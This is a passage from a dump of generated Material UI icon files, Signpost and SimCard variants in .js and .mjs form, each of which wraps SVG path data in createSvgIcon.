    "path": "packages/mui-icons-material/lib/SignpostRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10h5l3-3-3-3h-5V2h-2v2H4v6h7v2H6l-3 3 3 3h5v4h2v-4h7v-6h-7z\"\n}), 'SignpostRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignpostRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10h5l3-3-3-3h-5V2h-2v2H4v6h7v2H6l-3 3 3 3h5v4h2v-4h7v-6h-7z\"\n}), 'SignpostRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignpostSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-.55 0-1 .45-1 1v1H5.5C4.67 4 4 4.67 4 5.5v3c0 .83.67 1.5 1.5 1.5H11v2H6.62c-.4 0-.78.16-1.06.44l-1.5 1.5c-.59.59-.59 1.54 0 2.12l1.5 1.5c.28.28.66.44 1.06.44H11v3c0 .55.45 1 1 1s1-.45 1-1v-3h5.5c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5H13v-2h4.38c.4 0 .78-.16 1.06-.44l1.5-1.5c.59-.59.59-1.54 0-2.12l-1.5-1.5c-.28-.28-.66-.44-1.06-.44H13V3c0-.55-.45-1-1-1\"\n}), 'SignpostSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignpostSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-.55 0-1 .45-1 1v1H5.5C4.67 4 4 4.67 4 5.5v3c0 .83.67 1.5 1.5 1.5H11v2H6.62c-.4 0-.78.16-1.06.44l-1.5 1.5c-.59.59-.59 1.54 0 2.12l1.5 1.5c.28.28.66.44 1.06.44H11v3c0 .55.45 1 1 1s1-.45 1-1v-3h5.5c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5H13v-2h4.38c.4 0 .78-.16 1.06-.44l1.5-1.5c.59-.59.59-1.54 0-2.12l-1.5-1.5c-.28-.28-.66-.44-1.06-.44H13V3c0-.55-.45-1-1-1\"\n}), 'SignpostSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignpostTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6h11.17l1 1-1 1H6zm12 10H6.83l-1-1 1-1H18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10h5l3-3-3-3h-5V2h-2v2H4v6h7v2H6l-3 3 3 3h5v4h2v-4h7v-6h-7zM6 6h11.17l1 1-1 1H6zm12 10H6.83l-1-1 1-1H18z\"\n}, \"1\")], 'SignpostTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SignpostTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6h11.17l1 1-1 1H6zm12 10H6.83l-1-1 1-1H18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10h5l3-3-3-3h-5V2h-2v2H4v6h7v2H6l-3 3 3 3h5v4h2v-4h7v-6h-7zM6 6h11.17l1 1-1 1H6zm12 10H6.83l-1-1 1-1H18z\"\n}, \"1\")], 'SignpostTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.99 4c0-1.1-.89-2-1.99-2h-8L4 8v12c0 1.1.9 2 2 2h12.01c1.1 0 1.99-.9 1.99-2zM9 19H7v-2h2zm8 0h-2v-2h2zm-8-4H7v-4h2zm4 4h-2v-4h2zm0-6h-2v-2h2zm4 2h-2v-4h2z\"\n}), 'SimCard');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.99 4c0-1.1-.89-2-1.99-2h-8L4 8v12c0 1.1.9 2 2 2h12.01c1.1 0 1.99-.9 1.99-2zM9 19H7v-2h2zm8 0h-2v-2h2zm-8-4H7v-4h2zm4 4h-2v-4h2zm0-6h-2v-2h2zm4 2h-2v-4h2z\"\n}), 'SimCard');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 15h-2v-2h2zm0-4h-2V8h2z\"\n}), 'SimCardAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 15h-2v-2h2zm0-4h-2V8h2z\"\n}), 'SimCardAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-7h2v5h-2z\"\n}, \"1\")], 'SimCardAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-7h2v5h-2z\"\n}, \"1\")], 'SimCardAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.6 7.42c-.37.37-.58.88-.58 1.4L4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'SimCardAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.6 7.42c-.37.37-.58.88-.58 1.4L4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 15c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'SimCardAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-7 15h-2v-2h2zm0-4h-2V8h2z\"\n}), 'SimCardAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-7 15h-2v-2h2zm0-4h-2V8h2z\"\n}), 'SimCardAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM11 8h2v5h-2zm0 7h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-7h2v5h-2z\"\n}, \"2\")], 'SimCardAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardAlertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM11 8h2v5h-2zm0 7h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-7h2v5h-2z\"\n}, \"2\")], 'SimCardAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownload.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 15-4-4h3V9.02L13 9v4h3z\"\n}), 'SimCardDownload');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 15-4-4h3V9.02L13 9v4h3z\"\n}), 'SimCardDownload');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownloadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v16H6V8.83L10.83 4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 13-4 4-4-4 1.41-1.41L11 13.17V9.02L13 9v4.17l1.59-1.59z\"\n}, \"1\")], 'SimCardDownloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownloadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v16H6V8.83L10.83 4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 13-4 4-4-4 1.41-1.41L11 13.17V9.02L13 9v4.17l1.59-1.59z\"\n}, \"1\")], 'SimCardDownloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownloadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.59 7.41C4.21 7.79 4 8.3 4 8.83V20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.35 14.65-2.79-2.79c-.32-.32-.1-.86.35-.86H11v-2.99c0-.55.44-.99.99-1 .56-.01 1.01.44 1.01 1V13h1.79c.45 0 .67.54.35.85l-2.79 2.79c-.19.2-.51.2-.7.01\"\n}), 'SimCardDownloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownloadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.59 7.41C4.21 7.79 4 8.3 4 8.83V20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6.35 14.65-2.79-2.79c-.32-.32-.1-.86.35-.86H11v-2.99c0-.55.44-.99.99-1 .56-.01 1.01.44 1.01 1V13h1.79c.45 0 .67.54.35.85l-2.79 2.79c-.19.2-.51.2-.7.01\"\n}), 'SimCardDownloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownloadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-8 15-4-4h3V9.02L13 9v4h3z\"\n}), 'SimCardDownloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownloadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-8 15-4-4h3V9.02L13 9v4h3z\"\n}), 'SimCardDownloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownloadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zm5 .19L13 9v4h3l-4 4-4-4h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 17 4-4h-3V9l-2 .02V13H8z\"\n}, \"2\")], 'SimCardDownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardDownloadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zm5 .19L13 9v4h3l-4 4-4-4h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 17 4-4h-3V9l-2 .02V13H8z\"\n}, \"2\")], 'SimCardDownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v16H6V8.83L10.83 4zM7 17h2v2H7zm8 0h2v2h-2zm-8-6h2v4H7zm4 4h2v4h-2zm0-4h2v2h-2zm4 0h2v4h-2z\"\n}), 'SimCardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v16H6V8.83L10.83 4zM7 17h2v2H7zm8 0h2v2h-2zm-8-6h2v4H7zm4 4h2v4h-2zm0-4h2v2h-2zm4 0h2v4h-2z\"\n}), 'SimCardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.99 4c0-1.1-.89-2-1.99-2h-7.17c-.53 0-1.04.21-1.42.59L4.59 7.41C4.21 7.79 4 8.3 4 8.83V20c0 1.1.9 2 2 2h12.01c1.1 0 1.99-.9 1.99-2zM8 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8-4c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m4 4c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m0-6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 2c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'SimCardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.99 4c0-1.1-.89-2-1.99-2h-7.17c-.53 0-1.04.21-1.42.59L4.59 7.41C4.21 7.79 4 8.3 4 8.83V20c0 1.1.9 2 2 2h12.01c1.1 0 1.99-.9 1.99-2zM8 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m8 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8-4c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m4 4c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m0-6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m4 2c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'SimCardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.99 2H10L4 8v14h16zM9 19H7v-2h2zm8 0h-2v-2h2zm-8-4H7v-4h2zm4 4h-2v-4h2zm0-6h-2v-2h2zm4 2h-2v-4h2z\"\n}), 'SimCardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.99 2H10L4 8v14h16zM9 19H7v-2h2zm8 0h-2v-2h2zm-8-4H7v-4h2zm4 4h-2v-4h2zm0-6h-2v-2h2zm4 2h-2v-4h2z\"\n}), 'SimCardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM9 19H7v-2h2zm0-4H7v-4h2zm6-4h2v4h-2zm0 6h2v2h-2zm-4-6h2v2h-2zm0 4h2v4h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 2v16H6V8.83L10.83 4zM7 17h2v2H7zm8 0h2v2h-2zm-8-6h2v4H7zm4 4h2v4h-2zm0-4h2v2h-2zm4 0h2v4h-2z\"\n}, \"1\")], 'SimCardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SimCardTwoTone.mjs",
